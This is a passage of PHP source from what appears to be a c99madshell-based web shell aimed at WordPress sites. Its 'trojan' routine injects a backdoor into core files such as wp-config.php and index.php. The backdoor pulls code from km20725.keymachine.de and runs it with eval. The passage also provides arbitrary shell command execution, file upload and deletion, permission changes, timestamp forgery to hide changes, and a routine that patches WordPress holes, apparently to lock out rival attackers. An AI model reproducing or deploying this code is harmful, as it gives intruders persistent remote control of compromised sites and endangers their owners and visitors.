  643.     <input type="submit" id="wp-settings" value="wp-settings" style="font-size: 6pt;'.get_style('wp-settings').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'wp-settings\';document.todo.submit();"/>
  644.     <input type="submit" id="template-loader" value="template-loader" style="font-size: 6pt;'.get_style('template-loader').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template-loader\';document.todo.submit();"/>
  645.     <input type="submit" id="template" value="template" style="font-size: 6pt;'.get_style('template').' onclick="document.todo.act.value=\'trojan\';document.todo.wp_act.value=\'template\';document.todo.submit();"/></p>');
  646. }
  647. function draw_patch() {
  648.     echo('<p><font color=green>Patch: </font>
  649.     <input type="submit" id="xmlrpc1" value="xmlrpc1" style="font-size: 6pt;'.get_style('xmlrpc1').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc1\';document.todo.submit();"/>
  650.     <input type="submit" id="xmlrpc2" value="xmlrpc2" style="font-size: 6pt;'.get_style('xmlrpc2').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'xmlrpc2\';document.todo.submit();"/>
  651.     <input type="submit" id="admin_ajax" value="admin_ajax" style="font-size: 6pt;'.get_style('admin_ajax').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'admin_ajax\';document.todo.submit();"/>
  652.     <input type="submit" id="blog_name_sql" value="blog_name_sql" style="font-size: 6pt;'.get_style('blog_name_sql').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'blog_name_sql\';document.todo.submit();"/>
  653.     <input type="submit" id="tb_id" value="tb_id" style="font-size: 6pt;'.get_style('tb_id').' onclick="document.todo.act.value=\'patch\';document.todo.wp_act.value=\'tb_id\';document.todo.submit();"/></p>');
  654. }
  655. function found_wp() {
  656.     $path = @getcwd();
  657.     if($path === false) {
  658.         return false;
  659.     }
  660.     if(valid_wp_path($path)) {
  661.         return $path;
  662.     }
  663.     if(preg_match('%(wp-(\w+)$)%i', $path, $ret)) {
  664.         $path = substr($path, 0, strpos($path, $ret[0]));
  665.         return $path;
  666.     }
  667.     if(preg_match('%(blog|wp|wordpress|blogs)%i', $path, $ret)) {
  668.         $path = substr($path, 0, strpos($path, $ret[0])+strlen($ret[0])+1);
  669.         return $path;
  670.     }
  671.     return false;
  672. }
  673.  
  674. function valid_wp_path($path) {
  675.     if($path === false) {
  676.         return false;
  677.     }
  678.     if(file_exists($path.'wp-config.php')) {
  679.         return true;
  680.     } else {
  681.         return false;
  682.     }
  683. }
  684.  
  685. function get_style($vuln) {
  686.     global $wp_path;
  687.     switch($vuln) {
  688.         case 'xmlrpc1':
  689.         case 'xmlrpc2':         $file = $wp_path.'xmlrpc.php'; break;
  690.         case 'admin_ajax':      $file = file_exists($wp_path.'wp-includes/pluggable.php')?$wp_path.'wp-includes/pluggable.php':$wp_path.'wp-includes/pluggable-functions.php'; break;
  691.         case 'blog_name_sql':   $file = $wp_path.'wp-trackback.php'; break;
  692.         case 'tb_id':           $file = $wp_path.'wp-trackback.php'; break;
  693.  
  694.  
  695.         case 'index':           $file = $wp_path.'index.php'; break;
  696.         case 'wp-blog-header':  $file = $wp_path.'wp-blog-header.php'; break;
  697.         case 'wp-config':       $file = $wp_path.'wp-config.php'; break;
  698.         case 'wp-settings':     $file = $wp_path.'wp-settings.php'; break;
  699.         case 'template-loader': $file = $wp_path.'wp-includes/template-loader.php'; break;
  700.         case 'template':        $file = $wp_path.'wp-trackback.ph'; break;
  701.         default: return false;
  702.     }
  703.     if(!is_writable($file) && is_patching($vuln, $file)) {
  704.         $style = 'background-color: yellow; color: black" disabled';
  705.     } elseif(is_writable($file) && is_patching($vuln, $file)) {
  706.         $style = 'background-color: yellow; color: black" disabled';
  707.     } elseif(is_writable($file) && !is_patching($vuln, $file)) {
  708.         $style = 'background-color: green; color: white"';
  709.     } else {
  710.         $style = 'background-color: #800000; color: #FFFFFF" disabled';
  711.     }
  712.     return $style;
  713. }
  714.  
  715.  
  716. function is_patching($vuln, $file) {
  717.     if($vuln == 'index' || $vuln == 'wp-blog-header' || $vuln == 'wp-config' || $vuln == 'wp-settings' || $vuln == 'template-loader' || $vuln == 'template') {
  718.         $content = @implode('', @file($file));
  719.         if(!$content) {
  720.             return false;
  721.         }
  722.         if(strpos($content, 'km20725.keymachine.de') !== FALSE) {
  723.             return true;
  724.         } else {
  725.             return false;
  726.         }
  727.     } elseif($vuln == 'xmlrpc1') {
  728.         $content = @implode('', @file($file));
  729.         if(!$content) {
  730.             return false;
  731.         }
  732.         if(strpos($content, '//\'pingback.ping\' => \'this:pingback_ping\',') !== FALSE) {
  733.             return true;
  734.         } else {
  735.             return false;
  736.         }
  737.     } elseif($vuln == 'xmlrpc2') {
  738.         $content = @implode('', @file($file));
  739.         if(!$content) {
  740.             return false;
  741.         }
  742.         if(strpos($content, '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',') !== FALSE) {
  743.             return true;
  744.         } else {
  745.             return false;
  746.         }
  747.     } elseif($vuln == 'admin_ajax') {
  748.         $content = @implode('', @file($file));
  749.         if(!$content) {
  750.             return false;
  751.         }
  752.         if(strpos($content, '$user_login = $wpdb->escape($user_login);') !== FALSE) {
  753.             return true;
  754.         } else {
  755.             return false;
  756.         }
  757.     } elseif($vuln == 'blog_name_sql') {
  758.         $content = @implode('', @file($file));
  759.         if(!$content) {
  760.             return false;
  761.         }
  762.         if(strpos($content, '$blog_name = $wpdb->escape($blog_name);') !== FALSE) {
  763.             return true;
  764.         } else {
  765.             return false;
  766.         }
  767.     } elseif($vuln == 'tb_id') {
  768.         $content = @implode('', @file($file));
  769.         if(!$content) {
  770.             return false;
  771.         }
  772.         if(strpos($content, '$tb_id = intval($tb_id);') !== FALSE) {
  773.             return true;
  774.         } else {
  775.             return false;
  776.         }
  777.     }
  778. }
  779. ?>
  780. <p align="left"><?php
  781. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  782. if (empty($d)) {$d = @realpath(".");} elseif(@realpath($d)) {$d = @realpath($d);}
  783. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  784. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  785. $d = str_replace("\\\\","\\",$d);
  786. $dispd = htmlspecialchars($d);
  787. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  788. $i = 0;
  789. foreach($pd as $b)
  790. {
  791.  $t = "";
  792.  $j = 0;
  793.  foreach ($e as $r)
  794.  {
  795.   $t.= $r.DIRECTORY_SEPARATOR;
  796.   if ($j == $i) {break;}
  797.   $j++;
  798.  }
  799.  echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  800.  $i++;
  801. }
  802. echo "&nbsp;&nbsp;&nbsp;";
  803. if (@is_writable($d))
  804. {
  805.  $wd = TRUE;
  806.  $wdt = "<font color=green>[ ok ]</font>";
  807.  echo "<b><font color=green>".view_perms(@fileperms($d))."</font></b>";
  808. }
  809. else
  810. {
  811.  $wd = FALSE;
  812.  $wdt = "<font color=red>[ Read-Only ]</font>";
  813.  echo "<b>".view_perms_color($d)."</b>";
  814. }
  815. echo "<br>";
  816. $letters = "";
  817. if ($win)
  818. {
  819.  $v = explode("\\",$d);
  820.  $v = $v[0];
  821.  foreach (range("a","z") as $letter)
  822.  {
  823.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  824.   if (!$bool) {$bool = @is_dir($letter.":\\");}
  825.   if ($bool)
  826.   {
  827.    $letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\\")."';document.todo.submit();\">[ ";
  828.    if (strtolower($letter.':') != strtolower($v)) {$letters .= $letter;}
  829.    else {$letters .= "<font color=\"#00FF66\">".$letter."</font>";}
  830.    $letters .= " ]</a> ";
  831.   }
  832.  }
  833.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  834. }
  835. if (count($quicklaunch) > 0)
  836. {
  837.  foreach($quicklaunch as $item)
  838.  {
  839.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  840.   $item[1] = str_replace("%sort",$sort,$item[1]);
  841.   $v = @realpath($d."..");
  842.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  843.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  844.  
  845.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  846.  }
  847. }
  848. echo "</p></td></tr></table><br>";
  849. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  850. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  851. if ($act == "") {$act = $dspact = "ls";}
  852. if($act == 'patch') {
  853.     $vuln = $wp_act;
  854.     if($vuln == 'xmlrpc1') {
  855.         $content = @implode('', @file($wp_path.'xmlrpc.php'));
  856.         $content = str_replace('\'pingback.ping\' => \'this:pingback_ping\',', '//\'pingback.ping\' => \'this:pingback_ping\',', $content);
  857.         $result = save_file($wp_path.'xmlrpc.php', $content);
  858.     } elseif($vuln == 'xmlrpc2') {
  859.         $content = @implode('', @file($wp_path.'xmlrpc.php'));
  860.         $content = str_replace('\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', $content);
  861.         $result = save_file($wp_path.'xmlrpc.php', $content);
  862.     } elseif($vuln == 'admin_ajax') {
  863.         if(file_exists($wp_path.'wp-includes/pluggable.php')) {
  864.             $content = @implode('', @file($wp_path.'wp-includes/pluggable.php'));
  865.             $content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."\n\t".'$user_login = $wpdb->escape($user_login); ', $content);
  866.             $result = save_file($wp_path.'wp-includes/pluggable.php', $content);
  867.         }
  868.         if(file_exists($wp_path.'wp-includes/pluggable-functions.php')) {
  869.             $content = @implode('', @file($wp_path.'wp-includes/pluggable-functions.php'));
  870.             $content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."\n\t".'$user_login = $wpdb->escape($user_login); ', $content);
  871.             $result = save_file($wp_path.'wp-includes/pluggable-functions.php', $content);
  872.         }
  873.     } elseif($vuln == 'blog_name_sql') {
  874.         $content = @implode('', @file($wp_path.'wp-trackback.php'));
  875.         $content = str_replace('if ( is_single() || is_page() )', '$blog_name = $wpdb->escape($blog_name);'."\n".'if ( is_single() || is_page() )', $content);
  876.         $result = save_file($wp_path.'wp-trackback.php', $content);
  877.     } elseif($vuln == 'tb_id') {
  878.         $content = @implode('', @file($wp_path.'wp-trackback.php'));
  879.         preg_match('%\$tb_url(\s+)= \$_POST\[\'url\'\];%i', $content, $ret);
  880.         $content = str_replace('$tb_url'.$ret[1].'= $_POST[\'url\'];', '$tb_id = intval($tb_id); '."\n".'$tb_url    = $_POST[\'url\'];', $content);
  881.         $result = save_file($wp_path.'wp-trackback.php', $content);
  882.     } else {
  883.         $result = false;
  884.     }
  885.     if(isset($result) && $result) {
  886.         echo('<center><font color="green"><b>Patching OK!!!</b></font></center>');
  887.         echo('<script>document.getElementById(\''.$vuln.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$vuln.'\').disabled=true;</script>');
  888.     } else {
  889.         echo('<center><font color="red"><b>Patching NO!!!</b></font></center>');
  890.     }
  891.     $d = $wp_path;
  892.     $act = 'ls';
  893. }
  894. if($act =='trojan') {
  895.     switch($wp_act) {
  896.         case 'index':           $file = $wp_path.'index.php'; break;
  897.         case 'wp-blog-header':  $file = $wp_path.'wp-blog-header.php'; break;
  898.         case 'wp-config':       $file = $wp_path.'wp-config.php'; break;
  899.         case 'wp-settings':     $file = $wp_path.'wp-settings.php'; break;
  900.         case 'template-loader': $file = $wp_path.'wp-includes/template-loader.php'; break;
  901.         //case 'template':      $file = $wp_path.'wp-trackback.ph'; break;
  902.     }
  903.     $content = @implode('', @file($file));
  904.     if(@ini_get('allow_url_fopen')==1) {
  905.         $trojan = '<?php if(isset($_GET[\'p\'])) {
  906.    @eval(@file_get_contents(\'http://km20725.keymachine.de/server/index.php?host=\'.$_SERVER[\'SERVER_NAME\'].\'&p=\'.$_GET[\'p\']));
  907. } ?>'."\n";
  908.     } else {
  909.         $trojan = '<?php if(isset($_GET[\'p\'])) {
  910.    $sock = @fsockopen(\'km20725.keymachine.de\', 80);
  911.    if($sock){
  912.    fwrite ($sock, \'GET http://km20725.keymachine.de/server/index.php?host=\'.$_SERVER[\'SERVER_NAME\'].\'&p=\'.$_GET[\'p\'].\' HTTP/1.0\'."\r\n");
  913.    fwrite ($sock, \'Host: km20725.keymachine.de\'."\r\n\r\n");
  914.    while($content[] = fgets ($sock));
  915.    $content = implode(\'\', $content);
  916.    @eval(trim(substr($content, strpos($content, "\r\n\r\n"))));
  917.    fclose ($sock);}
  918. } ?>'."\n";
  919.     }
  920.     $content = $trojan.$content;
  921.     $result = save_file($file, $content);
  922.     if($result) {
  923.         echo('<center><font color="green"><b>Trojaning OK!!!</b></font></center>');
  924.         echo('<script>document.getElementById(\''.$wp_act.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$wp_act.'\').disabled=true;</script>');
  925.     } else {
  926.         echo('<center><font color="red"><b>Trojaning NO!!!</b></font></center>');
  927.     }
  928.     $d = $wp_path;
  929.     $act = 'ls';
  930. }
  931. if ($act == "mkdir")
  932. {
  933.  if ($mkdir != $d)
  934.  {
  935.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  936.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  937.   echo "<br><br>";
  938.  }
  939.  $act = $dspact = "ls";
  940. }
  941.  
  942. if ($act == "d")
  943. {
  944.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  945.  else
  946.  {
  947.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  948.   if (!$win)
  949.   {
  950.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  951.    $ow = posix_getpwuid(fileowner($d));
  952.    $gr = posix_getgrgid(filegroup($d));
  953.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  954.   }
  955.   echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  956.  }
  957. }
  958. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  959. if ($act == "mkfile")
  960. {
  961.  if ($mkfile != $d)
  962.  {
  963.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  964.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  965.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  966.  }
  967.  else {$act = $dspact = "ls";}
  968. }
  969.  
  970. if ($act == "selfremove")
  971. {
  972.  if (($submit == $rndcode) and ($submit != ""))
  973.  {
  974.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); }
  975.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  976.  }
  977.  else
  978.  {
  979.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  980.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  981.   echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  982.  }
  983. }
  984. if($act == 'touch') {
  985.     if(is_link($d.$f) || $f == '.' || $f == '..') {
  986.         echo('<font color="red">ONLY FILE AND CATALOGS!!!</font>');
  987.         $act = 'ls';
  988.     } else {
  989.         if(!isset($submit)) {
  990.             $time_array = explode(':',@date("d:m:Y:H:i:s",@filemtime($d.$f)));
  991.         echo("
  992.         <form method=\"POST\">
  993.         <input name='act' type='hidden' value='touch'>
  994.         <input name='f' type='hidden' value='".urlencode($f)."'>
  995.         <input name='d' type='hidden' value='".urlencode($d)."'>
  996.         <input type=submit name=submit value=\"Save\">&nbsp;
  997.         <input type=\"reset\" value=\"Reset\">&nbsp;
  998.         <input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br>Current file's time: ".@date("d.m.Y H:i:s", filemtime($d.$f)).'
  999. <br />Set new date:
  1000. <select name="day" size="1">');
  1001. echo($time_array[0]);
  1002. for($i=1;$i<32;++$i) {
  1003.     $i2 = (strlen($i)==1)?'0'.$i:$i;
  1004.     echo('<option value="'.$i2.'" '.(($time_array[0]==$i2)?' selected':'').'>'.$i2.'</option>');
  1005. }
  1006. echo('</select>
  1007. &nbsp;<b>Month</b>
  1008. <select name="month" size="1">
  1009. <option value="January" '.(($time_array[1]=='01')?'selected':'').'>January ---(01)</option>
  1010. <option value="February" '.(($time_array[1]=='02')?'selected':'').'>February --(02)</option>
  1011. <option value="March" '.(($time_array[1]=='03')?'selected':'').'>March ------(03)</option>
  1012. <option value="April" '.(($time_array[1]=='04')?'selected':'').'>April --------(04)</option>
  1013. <option value="May" '.(($time_array[1]=='05')?'selected':'').'>May ---------(05)</option>
  1014. <option value="June" '.(($time_array[1]=='06')?'selected':'').'>June --------(06)</option>
  1015. <option value="July" '.(($time_array[1]=='07')?'selected':'').'>July ---------(07)</option>
  1016. <option value="August" '.(($time_array[1]=='08')?'selected':'').'>August -----(08)</option>
  1017. <option value="September" '.(($time_array[1]=='09')?'selected':'').'>September -(09)</option>
  1018. <option value="October" '.(($time_array[1]=='10')?'selected':'').'>October ----(10)</option>
  1019. <option value="November" '.(($time_array[1]=='11')?'selected':'').'>November --(11)</option>
  1020. <option value="December" '.(($time_array[1]=='12')?'selected':'').'>December --(12)</option>
  1021. </select>
  1022.  
  1023. &nbsp;<b>Year</b>
  1024. <select name="year" size="1">');
  1025. echo($time_array[0]);
  1026. for($i=1998;$i<2010;++$i) {
  1027.     echo('<option value="'.$i.'" '.(($time_array[2]==$i)?' selected':'').'>'.$i.'</option>');
  1028. }
  1029. echo('</select>
  1030.  
  1031. &nbsp;<b>Hour </b>
  1032. <select name="chasi" size="1">');
  1033. echo($time_array[0]);
  1034. for($i=1;$i<60;++$i) {
  1035.     $i2 = (strlen($i)==1)?'0'.$i:$i;
  1036.     echo('<option value="'.$i2.'" '.(($time_array[3]==$i2)?' selected':'').'>'.$i2.'</option>');
  1037. }
  1038. echo('</select>
  1039.  
  1040. &nbsp;<b>Minute </b>
  1041. <select name="minutes" size="1">');
  1042. echo($time_array[0]);
  1043. for($i=1;$i<60;++$i) {
  1044.     $i2 = (strlen($i)==1)?'0'.$i:$i;
  1045.     echo('<option value="'.$i2.'" '.(($time_array[4]==$i2)?' selected':'').'>'.$i2.'</option>');
  1046. }
  1047. echo('</select>
  1048.  
  1049. &nbsp;<b>Second </b>
  1050. <select name="second" size="1">');
  1051. echo($time_array[0]);
  1052. for($i=1;$i<60;++$i) {
  1053.     $i2 = (strlen($i)==1)?'0'.$i:$i;
  1054.     echo('<option value="'.$i2.'" '.(($time_array[5]==$i2)?' selected':'').'>'.$i2.'</option>');
  1055. }
  1056. echo('</select></form>');
  1057. $act = 'ls';
  1058.         } else {
  1059.     $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
  1060.     $datar = @strtotime($datar);
  1061.     if(@touch($d.$f,$datar,$datar)) {
  1062.         echo('<center><b><font color=green>Time was been change successfull</font></b></center>');
  1063.     } else {
  1064.         echo('<center><b><font color=red>Time NOT changed!!!</font></b></center>');
  1065.     }
  1066.     $act = 'ls';
  1067. }
  1068.     }
  1069. }
  1070.  
  1071. if ($act == "search")
  1072. {
  1073.  echo "<b>Search in file-system:</b><br>";
  1074.  if (empty($search_in)) {$search_in = $d;}
  1075.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  1076.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  1077.  if (!empty($submit))
  1078.  {
  1079.   $found = array();
  1080.   $found_d = 0;
  1081.   $found_f = 0;
  1082.   $search_i_f = 0;
  1083.   $search_i_d = 0;
  1084.   $a = array
  1085.   (
  1086.    "name"=>@$search_name, "name_regexp"=>@$search_name_regexp,
  1087.    "text"=>@$search_text, "text_regexp"=>@$search_text_regxp,
  1088.    "text_wwo"=>@$search_text_wwo,
  1089.    "text_cs"=>@$search_text_cs,
  1090.    "text_not"=>@$search_text_not
  1091.   );
  1092.   $in = array_unique(explode(";",$search_in));
  1093.   foreach($in as $v) {c99fsearch($v);}
  1094.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  1095.   else
  1096.   {
  1097.    $ls_arr = $found;
  1098.    $disp_fullpath = TRUE;
  1099.    $act = "ls";
  1100.   }
  1101.  }
  1102.  echo "<form method=POST>
  1103. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  1104. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  1105. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  1106. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".@htmlspecialchars($search_text)."</textarea>
  1107. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".(@$search_text_regexp == 1?" checked":"")."> - regexp
  1108. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".(@$search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  1109. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".(@$search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  1110. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".(@$search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  1111. <br><br><input type=submit name=submit value=\"Search\"></form>";
  1112. }
  1113. if ($act == "chmod")
  1114. {
  1115.  $mode = fileperms($d.$f);
  1116.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  1117.  else
  1118.  {
  1119.   $form = TRUE;
  1120.   if (isset($chmod_submit))
  1121.   {
  1122.     if(empty($hand)) {
  1123.     $octet = '0'.base_convert((isset($chmod_o["r"])?1:0).(isset($chmod_o["w"])?1:0).(isset($chmod_o["x"])?1:0).(isset($chmod_g["r"])?1:0).(isset($chmod_g["w"])?1:0).(isset($chmod_g["x"])?1:0).(isset($chmod_w["r"])?1:0).(isset($chmod_w["w"])?1:0).(isset($chmod_w["x"])?1:0),2,8);
  1124.     } else {
  1125.         if(substr($hand,0,1)==0) { $octet = $hand; } else {$octet = '0'.$hand; }
  1126.  
  1127.     }
  1128.     if(!isset($recurs)) $recurs = 0;
  1129.     if(is_dir($d.$f) && $recurs== 1) {
  1130.         $result = setRecursPerm($d.$f,intval($octet,8));
  1131.         list($good, $bad) = explode(':', $result);
  1132.         echo('<b>Result: <font color="green">'.$good.'=> Success</font>, <font color="red">'.$bad.'=>BAD</font><b><br>');
  1133.     } else {
  1134.         if (@chmod($d.$f,intval($octet,8))) {
  1135.             clearstatcache();
  1136.             $act = 'ls';
  1137.             $form = FALSE;
  1138.             $err = '';
  1139.         } else {
  1140.             $err = 'Can\'t chmod to '.$octet.'.';
  1141.         }
  1142.     }
  1143.   }
  1144.   if ($form)
  1145.   {
  1146.    $perms = parse_perms($mode);
  1147.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".(isset($err)?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=text name=hand value=\"\"><br />";
  1148.    if(is_dir($d.$f)) {
  1149.     echo "<input type=checkbox NAME=recurs value=1 checked=\"checked\"> Use recursive<br>";
  1150.    }
  1151.    echo "<br><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1152.   }
  1153.  }
  1154. }
  1155. if ($act == "upload") {
  1156.     $uploadmess = '';
  1157.     if(isset($_FILES['uploadfile']) && !empty($_FILES['uploadfile']['tmp_name'])) {
  1158.         $uploadpath = $d;
  1159.         $destin = $_FILES['uploadfile']["name"];
  1160.         if (!move_uploaded_file($_FILES['uploadfile']['tmp_name'],$uploadpath.$destin)) {$uploadmess .= "<font color=red>Error uploading file ".$_FILES['uploadfile']['name']." (can't copy \"".$_FILES['uploadfile']['tmp_name']."\" to \"".$uploadpath.$destin."\"!</font><br>";} else {
  1161.             $uploadmess = '<font color=green>File success uploaded</font>';
  1162.         }
  1163.     }
  1164.     echo "<center><b>".$uploadmess."</b></center>";
  1165.     $act = 'ls';
  1166. }
  1167. if ($act == "delete")
  1168. {
  1169.  $delerr = "";
  1170.  foreach ($actbox as $v)
  1171.  {
  1172.   $result = FALSE;
  1173.   $result = fs_rmobj($v);
  1174.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  1175.  }
  1176.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  1177.  $act = "ls";
  1178. }
  1179. if ($act == "cmd")
  1180. {
  1181.  @chdir($chdir);
  1182.  if (!empty($submit))
  1183.  {
  1184.   echo "<b>Result of execution this command</b>:<br>";
  1185.   $olddir = realpath(".");
  1186.   @chdir($d);
  1187.   $ret = myshellexec($cmd);
  1188.   $ret = convert_cyr_string($ret,"d","w");
  1189.   if ($cmd_txt)
  1190.   {
  1191.    $rows = count(explode("\r\n",$ret))+1;
  1192.    if ($rows < 10) {$rows = 10;}
  1193.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1194.   }
  1195.   else {echo $ret."<br>";}
  1196.   @chdir($olddir);
  1197.  }
  1198.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  1199.  echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".@htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  1200. }
  1201. if ($act == "ls")
  1202. {
  1203.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  1204.  else
  1205.  {
  1206.   $list = array();
  1207.   if ($h = @opendir($d))
  1208.   {
  1209.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1210.    closedir($h);
  1211.   }
  1212.   else {}
  1213.  }
